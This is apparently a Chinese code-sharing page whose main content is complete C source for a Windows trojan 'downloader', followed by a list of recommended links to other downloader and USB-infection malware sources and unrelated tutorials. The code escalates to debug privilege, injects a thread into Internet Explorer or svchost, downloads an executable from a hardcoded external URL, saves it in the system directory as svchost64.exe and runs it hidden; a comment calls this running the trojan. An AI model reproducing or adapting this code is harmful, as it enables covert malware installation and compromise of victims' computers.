#include "stdafx.h” #include “stdio.h” #include “string.h” #include <windows.h> #include <wininet.h> #include “tlhelp32.h” #pragma comment(lib,”wininet.lib“) /***********************************************/ typedef HINSTANCE (__stdcall *fun_ShellExecute)(HWND hWnd, //定义 ShellExecute LPCTSTR lpOperation, LPCTSTR lpFile, LPCTSTR lpParameters, LPCTSTR lpDiretory, INT nShowCmd); typedef int (__stdcall *fun_MessageBox)(HWND hWnd, LPCTSTR lpszText, //定义MessageBoxA原型 LPCTSTR lpszCaption, UINT nType); // define functions in kernel32.dll typedef HANDLE (__stdcall *fun_CreateFile)( LPCTSTR, DWORD, DWORD, //定义CreateFileA LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE ); typedef BOOL (__stdcall *fun_WriteFile)( HANDLE, LPCVOID, DWORD, //定义WriteFile LPDWORD, LPOVERLAPPED ); typedef BOOL (__stdcall *fun_CloseHandle)( HANDLE hObject ); //定义CloseHandle typedef HMODULE (__stdcall *fun_GetModuleHandle)(LPCTSTR); //定义GetModuleHandle typedef FARPROC (__stdcall *fun_GetProcAddress)(HMODULE, LPCTSTR); //定义GetProcAddress typedef HINSTANCE (__stdcall *fun_LoadLibrary)(LPCTSTR); //定义LoadLibraryA // define functions in wininet.dll typedef HINTERNET (__stdcall *fun_InternetOpen)(IN LPCTSTR lpszAgent, //定义InternetOpen IN DWORD dwAccessType, IN LPCTSTR lpszProxyByName, IN LPCTSTR lpszProxyByPass, IN DWORD dwFlags); typedef HINTERNET (__stdcall *fun_InternetOpenUrl)(IN HINTERNET hInternet,//定义InternetOpenUrl IN LPCTSTR lpszUrl, IN LPCTSTR lpszHeaders OPTIONAL, IN DWORD dwHeadersLength, IN DWORD dwFlags, IN DWORD dwContext); typedef HINTERNET (__stdcall *fun_InternetReadFile)(IN HINTERNET hFile, //定义InternetReadFile IN LPVOID lpBuffer, IN DWORD dwNumberOfBytesToRead, OUT LPDWORD lpdwNumberOfBytesRead); typedef HINTERNET (__stdcall *fun_InternetCloseHandle)(IN HINTERNET hInternet); //定义InternetCloseHandle typedef struct tag_Inject // define a structure to copy to distance process { fun_GetModuleHandle GetModuleHandle; fun_GetProcAddress GetProcAddress; fun_LoadLibrary LoadLibrary; char szKernel[32]; char szUser[32]; char szNet[32]; char szShell[32]; char szMessageBox[32]; char szInternetOpen[32]; char szInternetOpenUrl[MAX_PATH]; char szInternetReadFile[128]; char szInternetCloseHandle[32]; char szCreateFile[32]; char szWriteFile[32]; char szCloseHandle[32]; char szShellExecute[32]; char szHeader[16]; char szInterFlag[32]; char szOpenFlag[10]; char szUrlAddr[MAX_PATH]; char szUrlAddr1[MAX_PATH]; char szFilePath[MAX_PATH]; char szFilePath1[MAX_PATH]; }Inject; /***************************************/ /************************************************/ static BOOL ThreadProc(Inject* Inject_info) { HMODULE hKernel32, hUser32, hWininet, hShell32; //模块句柄 fun_InternetOpen j_InternetOpen; //定义函数指针 fun_InternetOpenUrl j_InternetOpenUrl; fun_InternetReadFile j_InternetReadFile; fun_InternetCloseHandle j_InternetCloseHandle; fun_CreateFile j_CreateFile; fun_WriteFile j_WriteFile; fun_CloseHandle j_CloseHandle; fun_MessageBox j_MessageBox; fun_ShellExecute j_ShellExecute; hKernel32 = Inject_info->GetModuleHandle(Inject_info->szKernel); //隐式加载DLL if (NULL == hKernel32) //加载失败 { hKernel32 = Inject_info->LoadLibrary(Inject_info->szKernel); //显示加载 if (NULL == hKernel32) //显示加载失败 { return FALSE; } } hUser32 = Inject_info->GetModuleHandle(Inject_info->szUser); if (NULL == hUser32) { hUser32 = Inject_info->LoadLibrary(Inject_info->szUser); if (NULL == hUser32) { return FALSE; } } hWininet = Inject_info->GetModuleHandle(Inject_info->szNet); if (NULL == hWininet) { hWininet = Inject_info->LoadLibrary(Inject_info->szNet); if (NULL == hWininet) { return FALSE; } } hShell32 = Inject_info->GetModuleHandle(Inject_info->szShell); if (NULL == hShell32) { hShell32 = Inject_info->LoadLibrary(Inject_info->szShell); if (NULL == hShell32) { return FALSE; } } j_InternetOpen = (fun_InternetOpen)Inject_info->GetProcAddress(hWininet, //绑定 InternetOpen Inject_info->szInternetOpen); j_InternetOpenUrl = (fun_InternetOpenUrl)Inject_info->GetProcAddress(hWininet, //绑定 InternetOpenUrl Inject_info->szInternetOpenUrl); j_InternetReadFile = (fun_InternetReadFile)Inject_info->GetProcAddress(hWininet, //绑定 InternetReadFile Inject_info->szInternetReadFile); j_InternetCloseHandle = (fun_InternetCloseHandle)Inject_info->GetProcAddress(hWininet, //绑定 InternetCloseHandle Inject_info->szInternetCloseHandle); j_CreateFile = (fun_CreateFile)Inject_info->GetProcAddress(hKernel32, //绑定 CreateFile Inject_info->szCreateFile); j_WriteFile = (fun_WriteFile)Inject_info->GetProcAddress(hKernel32, //绑定 WriteFile Inject_info->szWriteFile); j_CloseHandle = (fun_CloseHandle)Inject_info->GetProcAddress(hKernel32, //绑定 CloseHandle Inject_info->szCloseHandle); j_MessageBox = (fun_MessageBox)Inject_info->GetProcAddress(hUser32, //绑定 MessageBox Inject_info->szMessageBox); j_ShellExecute = (fun_ShellExecute)Inject_info->GetProcAddress(hShell32, //绑定 ShellExecute Inject_info->szShellExecute); HINTERNET hNet, hFile; //定义网络句柄和文件句柄 hNet = j_InternetOpen(Inject_info->szInterFlag, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); //打开网络并返回网络句柄 if (NULL == hNet) //打开网络出错 { return FALSE; } hFile = j_InternetOpenUrl(hNet, Inject_info->szUrlAddr, Inject_info->szHeader, strlen(Inject_info->szHeader), INTERNET_FLAG_DONT_CACHE|INTERNET_FLAG_RELOAD, 0); //打开指定的URL并返回请求的URL的资源句柄 if (NULL == hFile) //打开网络地址出错 { return FALSE; } char buff[1024]; //数据传输缓存 DWORD dwRead, //字节数 dwWritten = NULL; //实际写入的字节数 HANDLE hCreateFile = j_CreateFile(Inject_info->szFilePath, GENERIC_READ|GENERIC_WRITE, //始终创建文件 0, NULL, CREATE_ALWAYS, 0 ,NULL); if (NULL == hCreateFile) //创建文件出错! { return FALSE; } while(j_InternetReadFile(hFile, buff, 1023, &dwRead)) { if (0 == dwRead) //如果传输出错,退出 break; j_WriteFile(hCreateFile, buff, dwRead, &dwWritten, NULL); //将读取到的数据写入本地文件 } j_InternetCloseHandle(hNet); //关闭网络句柄 j_InternetCloseHandle(hFile); //关闭网络文件句柄 j_CloseHandle(hCreateFile); //关闭本地文件句柄 j_ShellExecute(NULL, NULL, Inject_info->szFilePath, NULL, NULL, SW_HIDE); //运行木马 return TRUE; } static void AddressFlag(void) { } /****************************************************************************************************************/ /***************************************************************************************/ /* 提升当前进程的权限到 DEBUG */ /***************************************************************************************/ /****************************************************************************************************************/ BOOL ImprovePrivilege() //将进程提权 { HANDLE hToken = NULL ; //令牌句柄 BOOL bRet = FALSE; //返回执行结果 TOKEN_PRIVILEGES tp = {1, {0, 0, SE_PRIVILEGE_ENABLED}}; //填充权限令牌结构 LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid); //查询是否具有调试权限 OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken); //打开进程权限令牌 AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof tp, 0, 0); //为进程申请 DEBUG 权限 bRet = (GetLastError() == ERROR_SUCCESS); //检测是否执行成功 return bRet; } /****************************************************************************************************************/ /***************************************************************************************/ /* 得到IExplore.exe的进程ID */ /***************************************************************************************/ /****************************************************************************************************************/ DWORD Get_ProcID() { char* strProc = new char[256]; HANDLE hSnap; //快照句柄 PROCESSENTRY32 ppe; //进程结构信息 hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); //创建系统进程快照 if (!ImprovePrivilege()) //提升本进程权限 { return FALSE; } ppe.dwSize = sizeof( PROCESSENTRY32 ); //计算结构大小 Process32First( hSnap, &ppe ); //找到第一个进程 while ( 1 ) //判断系统中的进程是否有IE的进程 { strcpy(strProc, ppe.szExeFile); //转存 strProc = strlwr(strProc); //转换为小写 if (0 == strcmp(strProc, “iexplore.exe“))//判断是否是 IE { return ppe.th32ProcessID; } else if (0 == strcmp(strProc, “svchost.exe“))//判断是否是 svchost { return ppe.th32ProcessID; } if ( !Process32Next( hSnap, &ppe )) { break; } } CloseHandle( hSnap ); return 0; } /*************************************/ /*************************************************************************************/ /* 将 ThreadProc 函数以插入线程的形式在浏览器进程中运行 */ /*************************************/ /*************************************/ BOOL InsertThread() { char szSystemRoot[MAX_PATH]; PDWORD pdwRemote = NULL; //申请远程空间地址 const int iCodeSize = ((LPBYTE)AddressFlag - (LPBYTE)ThreadProc);//计算代码长度 Inject *InjectRemote = NULL; //将Inject复制到远程进程空间中去 DWORD dwThread = NULL, dwOut = NULL, dwProc = Get_ProcID(); HANDLE hProc = NULL; const DWORD cbMemSize = iCodeSize + sizeof(Inject) + 3; //需要的内存块大小 Inject Inject_stru = {NULL, NULL, NULL, “kernel32.dll“, “user32.dll“, “wininet.dll“, “shell32.dll“, “MessageBoxA“, “InternetOpenA“, “InternetOpenUrlA“, “InternetReadFile“, “InternetCloseHandle“, “CreateFileA“, “WriteFile“, “CloseHandle“, “ShellExecuteA“, “Accept: */*/r/n/r/n“, “RookIE/1.0“, “wba“, “http://www.hf-hx.com/music/x.exe“, “”}; //初始化结构 GetSystemDirectory(szSystemRoot, sizeof(szSystemRoot)); //得到系统目录 strcat(szSystemRoot, “//svchost64.exe“); //构造文件名(含路径) strcpy(Inject_stru.szFilePath, szSystemRoot); //传递给Inject 结构中的szFilePaht HMODULE hKernel32 = GetModuleHandle(”kernel32.dll“); Inject_stru.GetModuleHandle = (fun_GetModuleHandle)GetProcAddress(hKernel32, “GetModuleHandleA“);//绑定GetModuleHandle Inject_stru.GetProcAddress = (fun_GetProcAddress)GetProcAddress(hKernel32, “GetProcAddress“); //绑定GetProcAddress Inject_stru.LoadLibrary = (fun_LoadLibrary)GetProcAddress(hKernel32, “LoadLibraryA“);//绑定LoadLibrary hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProc); //以最高权限打开浏览器进程 if (NULL == hProc) { return FALSE; } pdwRemote = (PDWORD)VirtualAllocEx(hProc, NULL, cbMemSize, MEM_COMMIT|MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE); //在远程空间中申请内存块 if (NULL == pdwRemote) { return FALSE; } if (!WriteProcessMemory(hProc, pdwRemote, (LPVOID)ThreadProc, cbMemSize, &dwOut)) //向远程进程写入功能代码 { return FALSE; } InjectRemote = (Inject*)(((LPBYTE)pdwRemote) + ((iCodeSize + 4) & ~3)); if (!WriteProcessMemory(hProc, InjectRemote, &Inject_stru, sizeof(Inject_stru), &dwOut)) //向远程线程写入结构数据 { return FALSE; } if (NULL == CreateRemoteThread(hProc, NULL, 65535, (LPTHREAD_START_ROUTINE)pdwRemote, InjectRemote, 0, NULL)) //创建进程线程 { return FALSE; } return TRUE; } /******************************************/ int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { InsertThread(); return 0; }
相关推荐
JDK1.7-HashMap源代码注释版
JDK1.7-HashMap源代码注释版
插入IE进程的下载者源代码
/*"mini_downloader"code bykardinal p.s.tcompile by vc++ 6.0can not run under win98;*/#include #pragma comment(lib,"user32.lib")#pragma comment(lib,"kernel32.lib")//#pragma comment(linker, "/OPT:NOWIN9
WMI设置网卡及获取网卡信息
根据网络提供的资料,专门写出NetAdapter类,实现本地连接网卡信息的收集及设置.所下载的资料是一个MFC测试项目,在VS2010中调试通过.需要使用时,使用NetAdapter类即可.
下载者U盘传染源码
下载者U盘传染源码unit Un_Main;interfaceusesWindows, Messages, SysUtils,Forms,IniFiles;typeTFrm_Main = class(TForm)procedure FormCreate(Sender: TObject);procedure FormClose(Sender: TObject; var Action: TClos
下载者源码
下载者源码
Social-Auto-Upload实战:如何用Python+Playwright实现抖音/B站/小红书一键三连发?
本文详细介绍了如何使用Python和Playwright框架构建Social-Auto-Upload自动化上传工具,实现抖音、B站、小红书等平台的一键多发布。通过模拟真实用户操作和Cookie管理技术,该工具能有效解决内容创作者跨平台发布的重复劳动问题,提升工作效率。
超小下载者源码
// DL.cpp : Defines the entry point for the application. // #include "stdafx.h" #include #pragma comment(lib,"urlmon.lib") int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE
永磁同步电机自抗扰控制ADRC(位置环/速度环控制器)Matlab/Simulink仿真(S-Function)
ESO是ADRC的核心,其作用是跟踪被控对象的输出,同时给出受控对象的各阶状态变量以及系统总扰动的实时估计,将其补偿到控制器中,实现动态补偿线性化。NLSEF采用非线性函数把TD产生的跟踪及微分信号与ESO给出的状态变量估计值之间的误差进行非线性组合得到初级控制量,然后同总扰动的补偿量一起生成最终的控制信号。自抗扰控制(ADRC)技术的核心思想是将简单的积分串联型视为标准模型,把系统模型中不同于标准型的部分和外部干扰之和视为总扰动,并将其扩张为一个新的状态。看作系统内外部扰动之和。令一个高阶状态变量为。
JSON文件加注释的7种方法
JSON文件加注释的7种方法 缺省不能加注释,现实有需求 根据JSON规范(http://www.json.org, RFC 4627, RFC 7159),不支持注释。JSON规范之所以不允许加注释,主要是防止:过多的注释,影响了文件本身的数据载体的目的。 但是有些场合,尤其是配置文件,还是希望能够帮助说明数据项的含义。一方面有利于描述接口,另一方面能够减少重复性的文档。这在软件快速开发实...
Cadence IC 618实战:从与非门到环形振荡器的完整版图设计流程(含DRC/LVS避坑点)
本文详细介绍了使用Cadence IC 618进行从与非门到环形振荡器的完整版图设计流程,包括环境准备、基础设计规范、层次化设计、DRC/LVS验证及后仿真优化。特别提供了实战中的避坑技巧和优化建议,帮助工程师高效完成集成电路设计任务。
RV1126 ISP开发实战:从Tuner调试到IQ文件解析
本文详细介绍了RV1126 ISP开发的完整流程,从Tuner调试到IQ文件解析,涵盖了环境搭建、工具使用、参数配置及性能优化等关键环节。通过实战案例和避坑指南,帮助开发者快速掌握Rockchip芯片的ISP开发技巧,提升图像处理质量。
.Net7配置swagger进行添加接口注释
本文通过以上步骤,可以配置Swagger以显示.NET代码中的接口注释
整车 EOL下线 测试系统介绍
整车下线(EOL)测试专门针对整车进行设计开发,是车企将组装好的整车交付客户前的 最后一道检测工序。EOL 测试针对的是整车下线测试,不同于零部件下线,是整车级别的下线 测试,测试过程关系整车的每个零部件,其测试质量直接影响到整车的质量好坏。因此,整车EOL测试是整车下线必不可少的测试过程.
ERWin 7导出注释到SQLServer 2005
当初选择放弃PowerDesigner,是因为它过于庞大复杂,对于只想建立数据库逻辑与物理模型、生成数据字典的需求,用PD是大材小用,而且也未必顺手,因此转而投奔ERWin 7。 开始都还顺利!但是在进行正向工厂,生成数据库时,发现无法将注释导出到SQLServer2005中——网上有关资料说在ERWin 4.X版本中就已经实现了这个功能,难道高级版本反而却不能了?如果无法实现将注释导...
预编码算法(个人总结)
预编码算法是无线通信系统中的关键技术,通过在发送端对信号进行处理,可以有效减少干扰,提高系统性能。预编码算法在5G、Wi-Fi、卫星通信等领域具有广泛的应用前景,同时,随着深度学习、大规模MIMO和物理层安全等技术的发展,预编码算法的研究将进一步推动无线通信技术的发展。CSI的准确性直接影响到预编码的效果。预编码是一种在发送端对信号进行线性变换的技术,以优化信号的空间分布,使得接收端能够更好地接收和解码信号。预编码算法,特别是基于矩阵分解的预编码算法,计算复杂度较高,限制了其在实际系统中的应用。
如何使用Python爬取并保存网页上的所有附件
爬虫(Crawler)是一种自动化程序,它通过模拟人工访问网页并下载网页上的数据或文件,常用于数据采集和分析。爬虫通常以“爬取”的形式自动浏览和提取网页中的各种信息。本文详细介绍了如何使用Python爬取并保存网页中的附件文件,涵盖了网页解析、文件下载、多线程与异步优化等内容。希望通过本文的讲解,能够帮助你理解并掌握附件爬取的技巧。在实际应用中,爬虫开发不仅需要解决技术问题,还要遵守网络道德和法律法规,避免不当使用爬虫造成负面影响。
iText7创建自由文本注释及添加至指定关键字的位置
iText自由文本注释实现及按关键字添加注释
C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片
基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正
CentOS7.9注释硬盘001篇
通过以上方法,您可以在 CentOS 7.9 的单用户模式下安全地注释或禁用特定硬盘。这些操作对于系统维护、故障排除和数据保护至关重要。在单用户模式下注释硬盘是系统维护的高级操作,主要用于解决硬盘相关问题或进行系统恢复。
数学建模模型总结
这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!
STM32F407中文手册
STM32f407中文手册 本参考手册面向应用开发人员,提供有关使用 STM32F405xx/07xx、STM32F415xx/17xx、 STM32F42xxx 和 STM32F43xxx 微控制器存储器与外设的完整信息。STM32F405xx/07xx、STM32F415xx/17xx、STM32F42xxx 和 STM32F43xxx 构成一个微 控制器系列,各产品具有不同的存储器大小、封装和外设。有关订购信息以及器件的机械与电气特性,请参见数据手册。有关 ARM Cortex™-M4F 内核的信息,请参见《Cortex™-M4F 技术参考手册》。
Dorado 7 使用到的 注释
Dorado 7 使用到的 注释 名称 功能 对应的结构层次 @Repository 用于标注数据访问组件,即DAO组件 数据持久层 @Component 泛指组件,当组件不好归类的时候,我们可以使用这个注解进行标注。 @@DataResolver 服务器向客户端发送数据 @DataProvider 服务器接收客
android 蓝牙通讯demo
android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。
CentOS7.9注释硬盘00篇
通过以上步骤,即可在CentOS 7.9单用户模式下成功“注释硬盘”(禁止自动挂载目标分区)。键,若未出现可尝试多次按),选中当前启动的内核(通常是第一行,如。(避免注释错系统分区,导致无法启动)。**保存修改并启动系统,等待进入单用户模式(最终会停在。是系统自动挂载配置文件,每行对应一个分区的挂载规则。(系统自动挂载配置),将目标分区的挂载条目用。,取决于系统)开头的行(通常是倒数第二行),(禁止系统自动挂载目标分区),核心操作是。(交换分区)的条目,否则系统无法启动!:若目标分区是LVM逻辑卷(如。
7个Vim注释生成神器:从入门到精通的自动注释指南
Vim注释生成工具是提升代码可读性和开发效率的必备利器。本文将介绍7个顶级Vim注释插件,帮助你告别手动编写注释的烦恼,轻松实现代码注释自动化。无论你是Vim新手还是资深用户,这些工具都能让你的注释工作变得简单高效。 ## 为什么需要Vim注释生成工具? 手动编写注释不仅耗时费力,还容易出现格式不统一、内容不完整等问题。Vim注释生成工具通过快捷键和自动化命令,让你只需少量操作就能生成规范的注
Zotero7存储注释至PDF(标注是啥样输出就是啥样!!!!)
zetero7存储注释至PDF(标注是啥样输出就是啥样!!!!)
Python2.7.X 中文注释
由于python2.7.x文件保存的方式是ASCII编码保存,中文注释往往报错,如‘’‘ 或其他方式都不行,必须在文件内容最上方加上# codeing=utf-8 才行
mysql 命令行 注释_mysql5.7基础 在终端上为mysql命令添加单行注释
login:xinjin@xjPC:~$mysql-uroot-pEnterpassword:WelcometotheMySQLmonitor.Commandsendwith;or\g.YourMySQLconnectionidis5Serverversion:5.7.17-0ubuntu0.16.04.1(Ubuntu)Copyright(c)...
4089



被折叠的 条评论
为什么被折叠?



